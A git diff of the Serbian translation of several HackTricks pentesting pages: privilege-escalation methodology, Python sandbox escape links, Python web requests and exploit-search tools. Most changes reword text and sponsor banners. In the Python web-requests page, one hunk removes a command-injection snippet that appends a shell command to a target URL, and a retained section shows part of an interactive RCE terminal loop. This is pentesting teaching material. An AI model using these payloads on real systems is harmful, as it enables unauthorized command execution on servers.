|
||||
Ako **niste root/Administrator** unutar sistema, trebalo bi da pronađete način da **eskališete privilegije.**\
|
||||
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linuxu**](../linux-hardening/privilege-escalation/) **i u** [**Windowsu**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše**:
|
||||
|
||||
* [**Autentikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Kako **ukrasti akreditive** u Windows-u
|
||||
* Neke trikove o [_**Active Directory-u**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
|
@ -108,7 +108,7 @@ Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše
|
|||
|
||||
#### **10.2- Eskalacija privilegija u domenu**
|
||||
|
||||
Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak sekcije, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team.
|
||||
Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enumeraciju, eskalaciju privilegija i upornost na Active Directory-u**](../windows-hardening/active-directory-methodology/). Čak i ako je ovo samo pododeljak jednog odeljka, ovaj proces može biti **izuzetno delikatan** u okviru zadatka Pentesting/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
|
@ -149,7 +149,7 @@ Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može bit
|
|||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../cryptography/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **mi zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||
|
||||
|
@ -161,9 +161,9 @@ Ako ste zainteresovani za **karijeru hakovanja** i hakovanje neuhvatljivog - **m
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Python Sandbox Escape & Pyscript
|
||||
# Bekstvo iz Python peska & Pyscript
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
|
@ -25,12 +25,12 @@ Dobijte pristup danas:
|
|||
**Interesantne stranice za proveru:**
|
||||
|
||||
* [**Pyscript hakovanje trikovi**](pyscript.md)
|
||||
* [**Python deserijalizacija**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trikovi za zaobilaženje Python sandbox-ova**](bypass-python-sandboxes/)
|
||||
* [**Osnovna sintaksa zahteva Python web-a**](web-requests.md)
|
||||
* [**Osnovna sintaksa i biblioteke Python-a**](basic-python.md)
|
||||
* [**Python deserijalizacije**](../../pentesting-web/deserialization/#python)
|
||||
* [**Trikovi za zaobilaženje Python pesaka**](bypass-python-sandboxes/)
|
||||
* [**Osnovna sintaksa zahteva za Python veb**](web-requests.md)
|
||||
* [**Osnovna sintaksa i biblioteke za Python**](basic-python.md)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
|
@ -44,10 +44,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,18 +6,18 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -39,10 +39,10 @@ is fixed running
|
|||
pip3 install wheel
|
||||
inside the virtual environment
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -53,10 +53,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-a**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,23 +6,23 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Python zahtevi
|
||||
## Python Zahtevi
|
||||
```python
|
||||
import requests
|
||||
|
||||
|
@ -90,28 +90,7 @@ return resp.json()
|
|||
def get_random_string(guid, path):
|
||||
return ''.join(random.choice(string.ascii_letters) for i in range(10))
|
||||
```
|
||||
## Python cmd za iskorišćavanje RCE-a
|
||||
|
||||
Kada želite da iskoristite udaljeno izvršavanje koda (RCE) na ciljnom serveru koristeći Python, možete koristiti sledeći cmd:
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
||||
url = 'http://target.com/vulnerable_endpoint'
|
||||
cmd = 'command_to_execute'
|
||||
|
||||
payload = '; ' + cmd + ';'
|
||||
|
||||
response = requests.get(url + payload)
|
||||
|
||||
print(response.text)
|
||||
```
|
||||
|
||||
Zamijenite `'http://target.com/vulnerable_endpoint'` sa stvarnom URL adresom ciljnog servera koji ima ranjivu tačku unosa. Takođe, zamijenite `'command_to_execute'` sa stvarnom komandom koju želite da izvršite na ciljnom serveru.
|
||||
|
||||
Ovaj kod će dodati vašu komandu kao payload u HTTP zahtev i poslati ga ciljnom serveru. Odgovor servera će biti prikazan u konzoli.
|
||||
|
||||
Molim vas da budete oprezni prilikom korišćenja ovog koda i da ga koristite samo u skladu sa zakonima i etičkim smernicama.
|
||||
## Python naredba za iskorišćavanje RCE-a
|
||||
```python
|
||||
import requests
|
||||
import re
|
||||
|
@ -138,11 +117,11 @@ return 1
|
|||
term = Terminal()
|
||||
term.cmdloop()
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\
|
||||
Pristupite danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -152,10 +131,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,31 +6,31 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### Pretraživač
|
||||
|
||||
Uvek pretražujte na "google" ili drugim pretraživačima: **\<ime\_servisa> \[verzija] exploit**
|
||||
Uvek pretražujte na "google" ili drugim: **\<ime\_servisa> \[verzija\] eksploatacija**
|
||||
|
||||
Takođe možete probati **shodan** **pretragu eksploatacija** na [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
Takođe treba da probate **shodan** **pretragu eksploatacija** na [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Koristan alat za pretragu eksploatacija za servise u **exploitdb-u iz konzole.**
|
||||
Koristan alat za pretragu eksploatacija za servise u **exploitdb iz konzole.**
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -42,7 +42,7 @@ searchsploit --nmap file.xml #Search vulns inside an nmap xml result
|
|||
```
|
||||
### Pompem
|
||||
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) je još jedan alat za pretragu eksploatacija.
|
||||
[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) je još jedan alat za pretragu eksploatacija
|
||||
|
||||
### MSF-Search
|
||||
```bash
|
||||
|
@ -50,20 +50,20 @@ msf> search platform:windows port:135 target:XP type:exploit
|
|||
```
|
||||
### PacketStorm
|
||||
|
||||
Ako ništa nije pronađeno, pokušajte pretražiti korištenu tehnologiju na [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
Ako ništa nije pronađeno, pokušajte pretražiti korišćenu tehnologiju na [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
|
||||
### Vulners
|
||||
|
||||
Takođe možete pretraživati u vulners bazi podataka: [https://vulners.com/](https://vulners.com)
|
||||
Takođe možete pretražiti u vulners bazi podataka: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
Ovo pretražuje eksploate u drugim bazama podataka: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** uz pomoć najnaprednijih alata zajednice.\
|
||||
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||
Dobijte pristup danas:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -74,10 +74,10 @@ Dobijte pristup danas:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite videti **oglašavanje vaše kompanije u HackTricks-u** ili **preuzeti HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,15 +6,15 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
